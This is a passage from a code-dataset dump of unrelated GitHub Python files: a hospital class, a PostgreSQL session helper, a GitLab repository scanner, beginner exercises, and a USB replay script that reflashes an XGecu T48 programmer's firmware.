'NA']),1))\n","repo_name":"iakovosevdaimon/GreekSUM","sub_path":"novel_ngrams_predictions.py","file_name":"novel_ngrams_predictions.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"22719214303","text":"from Dokter import Dokter\r\n\r\nclass DokterLainnya(Dokter):\r\n def __init__(self,ID_Dokter,Nama_Dokter,JadwalDokter,Spesialis,NoSerialDokter,Asal_Instansi):\r\n super().__init__(ID_Dokter,Nama_Dokter,JadwalDokter,Spesialis,NoSerialDokter)\r\n self.__Asal_Instansi = Asal_Instansi\r\n\r\n def getAsal_Instansi(self):\r\n return self.__Asal_Instansi\r\n \r\n def setAsal_Instansi(self,ai):\r\n self.__Asal_Instansi = ai\r\n \r\n\r\n\r\nAudy = DokterLainnya(\"A123\",\"Audy\",\"Selasa\",\"Kandungan\",\"00321\",\"Kesehatan\")\r\nprint(Audy.getID_Dokter())\r\nprint(Audy.getNama_Dokter())\r\nprint(Audy.getJadwalDokter())\r\nprint(Audy.getSpesialis())\r\nprint(Audy.getNoSerialDokter())\r\nprint(Audy.getAsal_Instansi())\r\n","repo_name":"Wandi1114/Hospital-Management-Dekstop","sub_path":"Class/Dokter_Lainnya.py","file_name":"Dokter_Lainnya.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"id","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"36228889195","text":"import os\nfrom contextlib import contextmanager\n\nfrom figure_hook.Models.base import Model\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n# https://stackoverflow.com/questions/12223335/sqlalchemy-creating-vs-reusing-a-session\n\n\nclass PostgreSQLDB:\n __instance__ = None\n\n def __new__(cls) -> 'PostgreSQLDB':\n if not cls.__instance__:\n db_url = os.getenv(\"POSTGRES_URL\")\n db_user = os.getenv('POSTGRES_USER')\n db_pw = os.getenv('POSTGRES_PASSWORD')\n database = os.getenv('POSTGRES_DATABASE')\n cls._engine = create_engine(\n f\"postgresql+psycopg2://{db_user}:{db_pw}@{db_url}/{database}\",\n echo=False,\n future=True\n )\n cls._sessionmaker = sessionmaker(cls._engine)\n cls.__instance__ = super().__new__(cls)\n\n return cls.__instance__\n\n @property\n def engine(self):\n return self._engine\n\n @property\n def Session(self):\n return self._sessionmaker\n\n\n@contextmanager\ndef pgsql_session():\n pgsql = PostgreSQLDB()\n with pgsql.Session.begin() as session:\n\n Model.set_session(session)\n\n yield session\n\n Model.set_session(None) # type: ignore\n","repo_name":"FigureHook/figure_hook","sub_path":"figure_hook/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30019414242","text":"import argparse\nimport logging\nfrom datetime import datetime\nfrom typing import List, Optional\n\nimport gitlab\nfrom gitlab.v4.objects import Project, ProjectManager\n\nfrom git_repo_scanner.abstract_scanner import AbstractScanner, FINDING\n\nlogger = logging.getLogger(\"git_repo_scanner\")\n\n\nclass GitLabScanner(AbstractScanner):\n LOGGER = logging.getLogger(\"git_repo_scanner\")\n\n def __init__(\n self,\n url: str,\n access_token: str,\n group: Optional[int],\n ignored_groups: List[int],\n ignore_repos: List[int],\n obey_rate_limit: bool = True,\n annotate_latest_commit_id: bool = False,\n ) -> None:\n super().__init__()\n if not url:\n raise argparse.ArgumentError(None, \"URL required for GitLab connection.\")\n if not access_token:\n raise argparse.ArgumentError(\n None, \"Access token required for GitLab authentication.\"\n )\n\n self._url = url\n self._access_token = access_token\n self._group = group\n self._ignored_groups = ignored_groups\n self._ignore_repos = ignore_repos\n self._obey_rate_limit = obey_rate_limit\n self._annotate_latest_commit_id = annotate_latest_commit_id\n self._gl: Optional[gitlab.Gitlab] = None\n\n @property\n def git_type(self) -> str:\n return \"GitLab\"\n\n def process(\n self, start_time: Optional[datetime] = None, end_time: Optional[datetime] = None\n ) -> List[FINDING]:\n self._authenticate()\n\n projects: List[Project] = self._get_projects(start_time, end_time)\n return self._process_projects(projects)\n\n def _group_project_to_project(self, group_project):\n # The GitLab API library gives us a GroupProject object, which has limited functionality.\n # This function turns the GroupProject into a \"real\" project, which allows us to get the\n # list of commits and include the SHA1 of the latest commit in the output later\n return self._gl.projects.get(group_project.id, lazy=True)\n\n def _get_projects(\n self, start_time: Optional[datetime], end_time: Optional[datetime]\n ):\n logger.info(\n f\"Get GitLab repositories with last activity between {start_time} and {end_time}.\"\n )\n\n project_manager: ProjectManager = self._gl.projects\n options = dict(\n all=True,\n order_by=\"last_activity_at\",\n sort=\"desc\",\n obey_rate_limit=self._obey_rate_limit,\n max_retries=12,\n )\n if start_time is not None:\n options[\"last_activity_after\"] = start_time\n if end_time is not None:\n options[\"last_activity_before\"] = end_time\n\n if self._group:\n options[\"include_subgroups\"] = True\n project_manager = self._gl.groups.get(self._group).projects\n\n return project_manager.list(**options)\n\n def _process_projects(self, projects: List[Project]) -> List[FINDING]:\n project_count = len(projects)\n return [\n self._create_finding_from_project(project, i, project_count)\n for i, project in enumerate(projects)\n if self._is_not_ignored(project)\n ]\n\n def _authenticate(self):\n logger.info(\"Start GitLab authentication\")\n try:\n self._gl = gitlab.Gitlab(self._url, private_token=self._access_token)\n self._gl.auth()\n except gitlab.exceptions.GitlabAuthenticationError:\n self._gl = gitlab.Gitlab(self._url, oauth_token=self._access_token)\n self._gl.auth()\n\n logger.info(\"GitLab authentication succeeded\")\n\n def _is_not_ignored(self, project: Project) -> bool:\n id_project = project.id\n kind = project.namespace[\"kind\"]\n id_namespace = project.namespace[\"id\"]\n if id_project in self._ignore_repos:\n return False\n if kind == \"group\" and id_namespace in self._ignored_groups:\n return False\n return True\n\n def _create_finding_from_project(\n self, project: Project, index: int, total: int\n ) -> FINDING:\n logger.info(\n f\"({index + 1}/{total}) Add finding for repo {project.name} with last activity at \"\n f\"{datetime.fromisoformat(project.last_activity_at)}\"\n )\n\n # Retrieve the latest commit ID\n latest_commit_id: str = None\n if self._annotate_latest_commit_id:\n try:\n latest_commit_id = (\n self._group_project_to_project(project).commits.list()[0].id\n )\n except Exception as e:\n logger.warn(\n \"Could not identify the latest commit ID - repository without commits?\"\n )\n latest_commit_id = \"\"\n return super()._create_finding(\n project.id,\n project.web_url,\n project.path_with_namespace,\n project.namespace[\"kind\"],\n project.namespace[\"id\"],\n project.namespace[\"name\"],\n project.created_at,\n project.last_activity_at,\n project.visibility,\n project.archived,\n project.topics,\n latest_commit_id,\n )\n","repo_name":"secureCodeBox/secureCodeBox","sub_path":"scanners/git-repo-scanner/scanner/git_repo_scanner/gitlab_scanner.py","file_name":"gitlab_scanner.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":647,"dataset":"github-code","pt":"60"} +{"seq_id":"42156406482","text":"# 🚨 Don't change the code below 👇\nstudent_scores = input(\"Input a list of student scores \").split()\nfor n in range(0, len(student_scores)):\n student_scores[n] = int(student_scores[n])\nprint(student_scores)\n# 🚨 Don't change the code above 👆\n\n#Write your code below this row 👇\n\n# Not allowed to use the max or min functions.\n\n# Calculate best grade in class\nbest_grade = 0\nfor g in student_scores:\n if g > best_grade: best_grade = g\nprint(f\"The highest score in the class is: {best_grade}\")\n\n# Calculate the lowest grade in class\nlowest_grade = 100\nfor l in student_scores:\n if l < lowest_grade: lowest_grade = l\nprint(f\"the lowest score in the class is: {lowest_grade}\")\n\n# Calculate the average grade in class\naverage_grade = 0\nsummed_grades = 0\nfor a in student_scores:\n summed_grades += a\n\ncounted_grades = 0\nfor c in student_scores:\n counted_grades += 1\n\naverage_grade = int(summed_grades / counted_grades)\nprint(f\"The average grade in the class is: {round(average_grade)}\")","repo_name":"Doogos/100DaysofPython","sub_path":"Day5-2Excercise.py","file_name":"Day5-2Excercise.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27811136825","text":"import json\nfrom dpu_utils.codeutils.deduplication import DuplicateDetector\nfrom dpu_utils.utils import RichPath\nimport tempfile\nimport ast\nimport tokenize\n\nif __name__ == '__main__':\n\n detector = DuplicateDetector(min_num_tokens_per_document=10, set_similarity_threshold=0.90,multiset_similarity_threshold=0.70)\n\n with open(\"...../source.json\",\"r\",encoding=\"UTF_8\") as f:sources=json.loads(f.read())\n\n for id, src in sources:\n with tempfile.TemporaryFile() as fp:\n try:\n fp.write(ast.unparse(ast.parse(src)).encode())\n fp.seek(0)\n detector.add_file(id=id, tokens=[token_obj.line for token_obj in tokenize.tokenize(fp.readline)])\n except:pass\n\n duplicates = detector.compute_duplicates()\n detector.print_clone_set_stats(duplicates)\n out_path = RichPath.create(\"....../output_filename.json.gz\")\n out_path.save_as_compressed_file([list(l) for l in duplicates])\n\n\n","repo_name":"TahaRostami/MuPy3Codeforces","sub_path":"src_utils/near_duplicate_code_detection.py","file_name":"near_duplicate_code_detection.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"74259285312","text":"import sys\nsys.stdin = open('input.txt')\n\nN, M, T = map(int, input().split())\n\n# 0 빈곳, 1 벽, 2 그람\n# 출발점 (0,0) 도착점 (N, M)\n\ncastle = [list(map(int, input().split())) for _ in range(N)]\n\nstart = [0, 0]\ncastle[0][0] = 1\n# 걸리는 시간 비교\nresult = [-1]\n\ndef dfs(start, cnt):\n global result\n dx = [1, -1, 0, 0]\n dy = [0, 0, 1, -1]\n\n # 공주 도착 시\n if start[0] == N-1 and start[1] == M-1:\n if cnt <= T:\n result.append(cnt)\n return\n\n for i in range(4):\n nx = start[0] + dx[i]\n ny = start[1] + dy[i]\n if 0 <= nx < N and 0 <= ny < M:\n if castle[nx][ny] == 0:\n start = [nx, ny]\n castle[nx][ny] = 1\n dfs(start, cnt+1)\n castle[nx][ny] = 0\n start = [nx- dx[i], ny-dy[i]]\n elif castle[nx][ny] == 2:\n start = [nx, ny]\n cnt += (M-1) - nx + (N-1) - ny\n if cnt <= T:\n result.append(cnt)\n return\n return result\n\n\ndfs(start, 0)\n\nresult.sort\nif result[-1] == -1:\n print('Fail')\nelse:\n print(result[-1])\n","repo_name":"ssw02238/algorithm-study","sub_path":"17836_공주님을 구해라/17836.py","file_name":"17836.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34792434736","text":"#juego en python\nfrom random import randint #random genera numeros pseudoaleatorios\n\nchoise = [\"rock\", \"paper\",\"scissors\"]\ndef main():\n computer = choise[randint(0,2)] # randint genera un numero entero entre a y b, ambos incluidos, a debe ser inferior o igual a b.\n\n print(\"welcome to the Rock, Paper, Scissord Game\\n\")\n player = input(\"Your choise: \").lower()\n print(\"Computer Chose: \" + computer)\n\n if player == computer: \n print(\"Draw\")\n elif player == \"rock\" and computer == \"paper\":\n print(\"Computer Wins\")\n elif player == \"rock\" and computer == \"scissors\":\n print(\"Player Wins\")\n elif player == \"paper\" and computer == \"rock\":\n print(\"Player Wins\")\n elif player == \"paper\" and computer == \"scissors\":\n print(\"Computer Wins\")\n elif player == \"scissors\" and computer == \"rock\":\n print(\"Computer wins\")\n elif player == \"scissors\" and computer == \"paper\":\n print(\"Player wins\")\n \n main()\n\nmain()","repo_name":"dianacardich/Python-course","sub_path":"Junior Projects/rock.py","file_name":"rock.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9126197765","text":"#!/usr/bin/env python3\n\nfrom xgecu import t48\nimport time\nimport usb1\n\ndef replay(t):\n dev = t.dev\n validate_read = t48.validate_read\n \n def bulkRead(endpoint, length, timeout=None):\n return dev.bulkRead(endpoint, length, timeout=(1000 if timeout is None else timeout))\n\n def bulkWrite(endpoint, data, timeout=None):\n dev.bulkWrite(endpoint, data, timeout=(1000 if timeout is None else timeout))\n \n def controlRead(bRequestType, bRequest, wValue, wIndex, wLength,\n timeout=None):\n return dev.controlRead(bRequestType, bRequest, wValue, wIndex, wLength,\n timeout=(1000 if timeout is None else timeout))\n\n def controlWrite(bRequestType, bRequest, wValue, wIndex, data,\n timeout=None):\n dev.controlWrite(bRequestType, bRequest, wValue, wIndex, data,\n timeout=(1000 if timeout is None else timeout))\n\n def interruptRead(endpoint, size, timeout=None):\n return dev.interruptRead(endpoint, size,\n timeout=(1000 if timeout is None else timeout))\n\n def interruptWrite(endpoint, data, timeout=None):\n dev.interruptWrite(endpoint, data, timeout=(1000 if timeout is None else timeout))\n\n # Generated by usbrply\n # Source: Linux pcap (usbmon)\n # cmd: /usr/local/bin/usbrply --wrapper --device 56 2022-12-21_01_init_reflash.pcapng\n\n \"\"\"\n # Generated from packet 89/90\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 16)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 89/90\")\n \"\"\"\n t.winusb_16()\n\n \"\"\"\n # Generated from packet 91/92\n buff = controlRead(0xC0, 0xEE, 0x0000, 0x0004, 40)\n validate_read(b\"\\x28\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x01\\x57\\x49\\x4E\\x55\\x53\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\", buff, \"packet 91/92\")\n \"\"\"\n t.winusb_40()\n\n\n \"\"\"\n # Generated from packet 107/108\n bulkWrite(0x01, b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n # Generated from packet 109/110\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x00\\x01\\x30\\x00\\x00\\x01\\x07\\x00\\x32\\x30\\x32\\x32\\x2D\\x30\\x39\\x2D\"\n b\"\\x32\\x31\\x30\\x39\\x3A\\x32\\x37\\x00\\x32\\x39\\x41\\x30\\x33\\x36\\x33\\x32\"\n b\"\\x57\\x44\\x4E\\x35\\x59\\x46\\x4F\\x4D\\x4B\\x32\\x52\\x52\\x56\\x4A\\x30\\x41\"\n b\"\\x32\\x46\\x39\\x53\\x39\\x36\\x31\\x33\\x1E\\x06\\x00\\x00\\x01\\x00\\x00\", buff, \"packet 109/110\")\n \"\"\"\n t.version_raw()\n\n \"\"\"\n so starting from\n bulkWrite(0x01, b\"\\x3C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x01\\x67\\x45\\xAB\\x89\\xEF\\xCD\")\n this is the bulk-write setup command (aka command 0x3c). It sets up the firmware for receiving a large blob from the host.\n the last 8 bytes are a magic value, and must be exactly those\n you then have a series of bulk-write commands which are used to send over the new firmware blob.\n \"\"\"\n\n \"\"\"\n maybe this is a flash erase\n \"\"\"\n print(\"Sending update command...\")\n # not the same as the pre-reset command (3D)\n # Generated from packet 111/112\n bulkWrite(0x01, b\"\\x3C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x01\\x67\\x45\\xAB\\x89\\xEF\\xCD\")\n # Generated from packet 113/114\n # XXX: this needs a longer timeout. How long?\n buff = bulkRead(0x81, 0x0200, timeout=3000)\n validate_read(b\"\\x3C\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 113/114\")\n\n print(\"Sending firmware...\")\n # Generated from packet 115/116\n bulkWrite(0x01, b\"\\x3B\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x01\\x67\\x45\\xAB\\x89\\xEF\\xCD\")\n # Generated from packet 117/118\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x03\\xC6\\x89\\x59\\x84\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\xE1\\x93\\x40\\xDD\\xFE\\xA9\\xA8\"\n b\"\\xDB\\xD1\\x49\\x40\\x99\\x8A\\x21\\x85\\x70\\x42\\x84\\xBF\\xAE\\x88\\xDE\\x29\"\n b\"\\xE9\\x61\\xA2\\x58\\x1F\\x5F\\x6F\\x17\\x8E\\x07\\xF3\\x04\\xFF\\xBF\\xDF\\x0E\"\n b\"\\xC6\\x68\\x98\\x7C\\xBE\\x94\\x13\\x42\\x9F\\x28\\xFD\\xC8\\x1D\\xDE\\x72\\xA1\"\n b\"\\xA4\\x1E\\x9E\\x8D\\xBB\\x58\\x58\\x3E\\xA3\\x6F\\x0C\\x2A\\xAA\\x1C\\xA6\\x59\"\n b\"\\x79\\x28\\x97\\xF3\\x82\\x89\\xF9\\x0E\\x76\\x75\\x83\\x19\\xF4\\x9C\\xD3\\x56\"\n b\"\\x03\\xB3\\xDC\\xEB\\x55\\xBD\\x2A\\x38\\xFB\\x42\\x63\\x71\\xF2\\x83\\xAC\\x70\"\n b\"\\xC8\\xC4\\x0A\\x70\\x93\\xCF\\xB2\\x94\\xAA\\x24\\x2D\\x3E\\x61\\x26\\x64\\x86\"\n b\"\\x76\\xAD\\x7E\\x55\\xAE\\xD4\\x7B\\xA8\\xD5\\x07\\x68\\x3F\\x81\\xBD\\x62\\x03\"\n b\"\\x16\\xE3\\xDA\\x63\\x63\\xC0\\x43\\x29\\x63\\x2E\\xD9\\xAD\\xEF\\x43\\xCC\\x3A\"\n b\"\\x1C\\xB5\\xE4\\x13\\x74\\x47\\xC7\\x3B\\x1E\\xB6\\x32\\x61\\x79\\x07\\x20\\xA8\"\n b\"\\x36\\x6B\\x1C\\xA6\\x3C\\x96\\xF7\\xA7\\xBF\\x81\\xEF\\x25\\x8D\\x0F\\x5E\\xA0\"\n b\"\\xE6\\x92\\xFA\\x17\\x6D\\x99\\xF4\\x83\\xA3\\x33\\xA0\\x6D\\x1C\\x69\\xE8\\xE0\"\n b\"\\x80\\xA7\\xEA\\xDB\\xBF\\xD1\\x85\\xB3\\x16\\x28\\x9E\\x4A\\x11\\x3E\\xB1\\xD1\"\n b\"\\x92\\x4B\\xD3\\x9A\\xA7\\x60\\xCF\\x5D\\xE6\\x67\\xBA\\x01\\xE7\\x32\\xA3\\x93\"\n b\"\\x16\\xCE\\xC8\\x6C\\x4F\\x7B\\x2A\\xD8\\xDE\\x28\\x7E\\xAA\\x22\\x98\\x09\\x0D\"\n b\"\\x55\\xC7\\x0A\\x9F\\xDC\\x38\\xCD\\x0C\\xD3\\x26\\x0F\\xC1\")\n # Generated from packet 119/120\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 119/120\")\n # Generated from packet 121/122\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3F\\x99\\xFA\\x2E\\xE1\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC3\\x8D\\x85\\x4C\\x37\\x58\\x16\\x19\"\n b\"\\xB3\\xFD\\x7E\\xAA\\xCE\\xA0\\xBF\\x19\\x2C\\x8B\\xF4\\x74\\x18\\xA4\\x7C\\x68\"\n b\"\\x0E\\x63\\x2D\\x4F\\x19\\x2D\\x50\\xFD\\x5A\\x7D\\xAC\\xA9\\x49\\x7C\\x67\\x27\"\n b\"\\xA7\\xB7\\x0F\\xEC\\x80\\x9B\\x37\\xEF\\xAE\\x41\\xC8\\xB0\\x87\\x01\\xD4\\xB0\"\n b\"\\x16\\x14\\xBA\\x6F\\xEB\\xE8\\x1C\\xDF\\xE8\\x04\\x69\\xDF\\x24\\x7A\\xFE\\xD3\"\n b\"\\xB7\\xE7\\xC5\\xB8\\x21\\xC7\\x7D\\x18\\xC6\\xB9\\x46\\x4A\\xF2\\x51\\x5C\\x3F\"\n b\"\\x57\\xCE\\x54\\xF6\\x29\\xC1\\x7B\\xE6\\xC9\\xC9\\x91\\x3D\\x43\\x1D\\xB5\\x76\"\n b\"\\x5B\\x06\\x74\\xA7\\xA9\\xEB\\x1E\\x0D\\x77\\x4B\\xD4\\x1F\\xE3\\xE7\\xC3\\xC3\"\n b\"\\xCD\\x92\\x83\\x97\\xA8\\x68\\x91\\xC6\\xF7\\x4D\\xE5\\x77\\xDC\\xE9\\x6E\\xAE\"\n b\"\\x43\\xC5\\x16\\x9B\\xB4\\x86\\xAF\\x92\\xD2\\xE6\\x43\\x74\\x64\\xAF\\xC4\\xD5\"\n b\"\\x2E\\x9A\\x3D\\xEA\\x8F\\x43\\x0D\\x1B\\x21\\xED\\x8B\\x4C\\x94\\xB9\\x30\\x44\"\n b\"\\xB7\\xEE\\xAE\\xDD\\x38\\x51\\x6F\\x34\\xEA\\xC5\\xE8\\x38\\x76\\x0D\\xBF\\x15\"\n b\"\\x83\\x37\\x5C\\x92\\x90\\xB1\\x82\\x27\\x08\\xB8\\xD3\\x41\\x5E\\xA1\\xAD\\xE6\"\n b\"\\x16\\x82\\x09\\x40\\x14\\xD9\\x61\\x85\\x3D\\x11\\xC4\\xBF\\xA3\\xDB\\x9E\\x29\"\n b\"\\x23\\x32\\xE2\\x58\\xD1\\xFA\\x6F\\x17\\x40\\xA2\\xF3\\x04\\x31\\x1A\\xDF\\x0E\"\n b\"\\x08\\xCD\\x98\\x7C\\x70\\x31\\x13\\x42\\x51\\x8D\\xFD\\xC8\\xD3\\x7B\\x72\\xA1\"\n b\"\\x66\\xBB\\x9C\\x8D\\x17\\xF7\\x58\\x3E\\x0F\\xCA\\x0C\\x2A\")\n # Generated from packet 123/124\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 123/124\")\n # Generated from packet 125/126\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\xB3\\x9E\\x78\\x6C\\x3D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5C\\x2B\\x55\\xD3\\x8F\\xB8\\x7B\\x86\"\n b\"\\xCF\\x67\\x18\\x1A\\xA9\\xD2\\x29\\x19\\xD5\\xC8\\xCA\\xE1\\xFC\\x1D\\x47\\xCF\"\n b\"\\xAE\\x23\\x45\\xF7\\x71\\x35\\x7A\\x84\\x41\\x44\\x14\\xAA\\x6E\\x0B\\x14\\x6B\"\n b\"\\x07\\x3C\\xA8\\x0D\\x33\\x6A\\x33\\x2E\\xDA\\x9B\\x06\\xBA\\xD7\\xDF\\x8B\\xB2\"\n b\"\\xA0\\x60\\x51\\x98\\x45\\x35\\x8A\\xEE\\xB9\\x80\\xC2\\xC7\\xE8\\xE6\\xC4\\xDE\"\n b\"\\x96\\x41\\x5D\\x9D\\x32\\xE7\\x0F\\xC6\\x5A\\x22\\xF6\\x2E\\xFF\\x18\\x38\\xE4\"\n b\"\\xA5\\x8E\\x6F\\xED\\xD9\\xFF\\x89\\xD3\\x14\\xB0\\x08\\xAB\\x88\\xA3\\x69\\x13\"\n b\"\\xA4\\xA9\\x40\\xA4\\xE3\\xDB\\x28\\x58\\x68\\xE5\\x19\\xC4\\x86\\x6F\\x8B\\x32\"\n b\"\\x09\\x06\\x0A\\xE2\\x63\\x94\\x95\\x5F\\xA7\\x4B\\x83\\x83\\x3B\\x3C\\xC9\\xF0\"\n b\"\\xCB\\xDE\\x51\\xA7\\x76\\xA2\\x60\\xB7\\x90\\xA9\\x19\\x0F\\x4E\\xBE\\xB6\\xA2\"\n b\"\\x8E\\xA1\\x6F\\x4F\\x81\\x13\\x5A\\x97\\xDF\\x7D\\x45\\x89\\x69\\x04\\x1E\\xE1\"\n b\"\\x59\\xC8\\xEC\\xDE\\x71\\x37\\xCE\\xF1\\x0D\\xC3\\xDA\\xCA\\xC0\\x6D\\x17\\x9D\"\n b\"\\xD9\\xDB\\x1A\\xE3\\x70\\x8B\\x20\\xFE\\xD4\\xED\\x0F\\x3D\\x53\\x78\\xDF\\x83\"\n b\"\\xCD\\x64\\x59\\x39\\x65\\x34\\x5C\\xF8\\x4E\\x4E\\xBB\\xE6\\x42\\xF8\\xB1\\x01\"\n b\"\\x65\\x4F\\x6A\\x8F\\x79\\xA4\\xD6\\x9D\\xCA\\xDC\\xE8\\x6C\\xFF\\xC2\\xDB\\x9F\"\n b\"\\x3D\\x2E\\xC5\\xA1\\x31\\x03\\xBC\\x4C\\xFA\\xC0\\x79\\x49\\x74\\x70\\xCD\\x4D\"\n b\"\\xF7\\xD5\\x92\\xA8\\x67\\xA0\\x59\\x43\\x39\\x20\\xD3\\xF9\")\n # Generated from packet 127/128\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 127/128\")\n # Generated from packet 129/130\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCC\\x7D\\x9F\\x5C\\xD6\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8E\\xA6\\xF2\\xD1\\x1D\\x79\\x51\\x96\"\n b\"\\xEC\\x19\\x27\\xF7\\xC8\\x72\\x75\\x0B\\xF5\\x47\\x48\\x23\\xC8\\xFE\\x38\\x93\"\n b\"\\x61\\xC3\\x77\\x0A\\x61\\xEC\\x09\\x6B\\x54\\xA8\\x18\\x88\\xF7\\x07\\xF5\\xC9\"\n b\"\\x4F\\x78\\x8A\\x51\\x63\\xD9\\xA3\\x64\\x35\\xDF\\x32\\x2E\\x86\\xC0\\x3F\\xFB\"\n b\"\\xB1\\xF2\\xF4\\xB6\\xCA\\x62\\xCF\\xBD\\xD6\\x7C\\x0A\\xEF\\xC5\\xE8\\x44\\xF0\"\n b\"\\x27\\x7F\\x90\\x1C\\x93\\x2A\\x87\\xB2\\x09\\xC6\\x4C\\xDC\\xC0\\xA2\\x54\\x67\"\n b\"\\x70\\x7E\\xEE\\x60\\xCA\\x97\\xBD\\xEC\\xDA\\x55\\x36\\x0D\\x15\\xE0\\x11\\xBE\"\n b\"\\xFB\\x8B\\xBD\\x27\\xF1\\x47\\x55\\x5E\\xCE\\xA5\\x28\\x95\\x42\\xE1\\xBE\\x9D\"\n b\"\\xC2\\xE0\\xD0\\xC6\\x90\\xB0\\xBC\\xAC\\x25\\xF6\\x15\\x8D\\x4E\\x4C\\xFE\\x39\"\n b\"\\x58\\x29\\xC0\\x93\\x11\\x86\\x80\\xF5\\xDE\\x4F\\x39\\x35\\x19\\x49\\xE2\\xDC\"\n b\"\\x21\\xF3\\x94\\x94\\xF1\\x27\\x9E\\x67\\x39\\x62\\x6F\\x23\\xAD\\x5F\\x01\\x33\"\n b\"\\x3C\\xD8\\xB6\\xE1\\x3B\\x39\\x80\\x8E\\x74\\x65\\x38\\x86\\xA1\\x42\\x7D\\xEB\"\n b\"\\xF4\\xF8\\x99\\x5A\\xCA\\x06\\xAC\\x85\\x7D\\x07\\xC5\\x75\\x54\\x32\\x60\\x4C\"\n b\"\\xB3\\xE8\\xB2\\xD3\\xF2\\x69\\x9A\\x71\\x2E\\xAF\\x5A\\xF6\\x04\\x58\\xE5\\xB7\"\n b\"\\xE5\\xCB\\x79\\x31\\x04\\xEE\\xB2\\xFE\\x0F\\xE1\\xC1\\x05\\x81\\xB3\\x44\\x5A\"\n b\"\\x99\\xF6\\x9F\\x92\\xFF\\xA1\\x88\\x6F\\xBF\\xB5\\xB6\\xD0\\x98\\x74\\xE5\\x3A\"\n b\"\\x3D\\xE7\\x4E\\x8C\\x01\\x1C\\xE4\\xDD\\x97\\x5A\\x1F\\xA3\")\n # Generated from packet 131/132\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 131/132\")\n # Generated from packet 133/134\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x27\\x91\\x5F\\xAE\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2A\\x6D\\xDE\\x3C\\x5F\\x23\\xBF\\x87\"\n b\"\\x36\\x32\\xE7\\xFE\\x5F\\x4E\\xDF\\xDC\\x92\\x02\\x91\\x82\\x3F\\xEA\\x22\\xBE\"\n b\"\\x8E\\x74\\x85\\x46\\x27\\x1A\\x74\\xFB\\x8C\\xD2\\x88\\x0A\\xCF\\x76\\x4F\\x79\"\n b\"\\x05\\xBE\\x1D\\xFC\\x53\\xE6\\x3D\\xAF\\x52\\x6C\\xBB\\x80\\x1B\\xB1\\xEC\\x65\"\n b\"\\xB3\\x78\\xA6\\x42\\xED\\x24\\xB0\\x63\\xC8\\x41\\x3B\\xAB\\xD9\\xAC\\xE0\\x95\"\n b\"\\x25\\x8A\\xBB\\x8A\\x90\\x05\\xBD\\x22\\xD0\\xE0\\xB7\\x14\\x33\\x4A\\x5E\\x67\"\n b\"\\x8D\\x63\\x6A\\x81\\xF3\\x4C\\x2A\\xB1\\x42\\x52\\x5B\\x32\\x18\\x58\\x92\\xAA\"\n b\"\\x15\\xF7\\x00\\x99\\x83\\x9D\\x4F\\x43\\x76\\xFB\\x80\\xD8\\x4C\\x7E\\xC3\\x4D\"\n b\"\\x3D\\x12\\x7F\\x06\\xC1\\x9A\\xF9\\xEA\\xAD\\xC9\\xA7\\xEB\\x46\\x4F\\xE5\\xEB\"\n 